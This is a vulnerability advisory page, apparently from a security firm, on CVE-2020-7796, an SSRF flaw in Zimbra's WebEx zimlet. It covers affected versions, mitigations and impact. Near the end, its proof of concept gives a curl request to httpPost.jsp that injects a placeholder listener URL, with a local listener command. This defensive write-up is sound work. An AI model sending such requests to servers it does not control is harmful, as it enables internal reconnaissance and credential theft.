CVE-2020-7796 Synacor Zimbra Collaboration Suite (ZCS) Server-Side Request Forgery Vulnerability

Read more about “CVE-2020-7796” and the most important cybersecurity news to stay up to date with

What is CVE-2020-7796?

CVE-2020-7796 is a Server-Side Request Forgery (SSRF) vulnerability in Zimbra Collaboration Suite (ZCS) tied to the WebEx integration. In vulnerable configurations, an attacker can cause the Zimbra server to initiate outbound HTTP requests to attacker-chosen destinations, effectively using the mail server as a “request proxy.” Public vulnerability records describe the issue as affecting ZCS versions prior to 8.8.15 Patch 7, and only when the WebEx zimlet is present and zimlet JSP functionality is enabled.


What is Affected By CVE-2020-7796?

ZCS is affected when both a vulnerable version and the specific WebEx zimlet/JSP conditions are true. The practical exposure depends heavily on whether the WebEx zimlet is deployed and whether the server has been configured to allow zimlet JSP execution.

  • Zimbra Collaboration Suite (ZCS) versions earlier than 8.8.15 Patch 7

  • Servers where the WebEx zimlet (commonly referenced as com_zimbra_webex) is installed

  • Environments where zimlet JSP is enabled (e.g., the server setting zimbraZimletJspEnabled is set to TRUE)

Mitigation and Remediation For CVE-2020-7796

The most reliable remediation is to patch ZCS to a fixed release and remove unnecessary exposure from the WebEx zimlet/JSP path. Zimbra’s release notes explicitly list CVE-2020-7796 as fixed in Zimbra Collaboration 8.8.15 Patch 7 (8.8.15p7), and NVD aligns with that fixed version guidance.

  • Upgrade ZCS to 8.8.15 Patch 7 (8.8.15p7) or later (or a newer supported Zimbra release)

  • If you can’t patch immediately: undeploy/disable the WebEx zimlet to remove the vulnerable surface (especially if WebEx integration is not required)

  • Disable zimlet JSP support unless you have a documented business need (set zimbraZimletJspEnabled to FALSE)

  • Add compensating controls: restrict outbound (egress) traffic from the Zimbra server to only required destinations, and block access to internal-only networks and cloud metadata endpoints at the network layer (where feasible)

  • Monitor and filter: alert on requests to paths associated with WebEx zimlet JSP handling (for example, suspicious access to /zimlet/com_zimbra_webex/ resources)

Impact of Successful Exploitation of CVE-2020-7796

If exploited, SSRF can let attackers pivot from your mail server into destinations your perimeter would normally protect. Depending on routing and firewall rules, SSRF commonly enables internal reconnaissance (probing internal services) and access to otherwise unreachable endpoints, which can lead to data exposure or credential theft. Notably, NVD indicates this CVE has been added to CISA’s Known Exploited Vulnerabilities (KEV) catalog (evidence of active exploitation), so defenders should treat exposure as operationally urgent.

  • Internal service probing (accessing HTTP services on RFC1918/internal ranges that aren’t exposed externally)

  • Data exposure by reaching sensitive web endpoints reachable only from the Zimbra host (admin panels, internal APIs, etc.)

  • Cloud credential risk if the server can reach cloud metadata services (environment-dependent), enabling token/credential leakage scenarios typical of SSRF campaigns

  • Increased likelihood of opportunistic scanning/exploitation as part of broader SSRF exploitation surges reported by threat intelligence sources

Proof of Concept for CVE-2020-7796

A safe PoC should only confirm “does the server make an outbound request” and should be run only in environments you own and control. One commonly referenced approach (including in public scanner templates) targets a WebEx zimlet JSP endpoint and uses an out-of-band callback to prove the server attempted a request. The example below is for defensive validation in a test environment—it does not attempt to access internal resources and should point only to an endpoint you control.

 
# 1) On a system you control, start a simple listener (example: TCP 8000)
python3 -m http.server 8000

# 2) From a test workstation, request the WebEx zimlet JSP endpoint on YOUR Zimbra server
# Replace ZIMBRA_HOST with your server, and LISTENER_HOST with your controlled listener.
curl -sk "https://ZIMBRA_HOST/zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://LISTENER_HOST:8000/#"

If your listener receives an inbound hit shortly after the request, it indicates the Zimbra server attempted an outbound fetch consistent with SSRF behavior (assuming the server is pre-8.8.15p7, the WebEx zimlet is installed, and zimlet JSP is enabled). If you see no callback, common reasons include: the server is already patched, the WebEx zimlet isn’t present, zimlet JSP is disabled, or outbound egress is blocked (which is a good compensating control).

 

Subscribe to WNE Security’s newsletter for the latest cybersecurity best practices, 0-days, and breaking news. Or learn more about “CVE-2020-7796”  by clicking the links below

Scroll to Top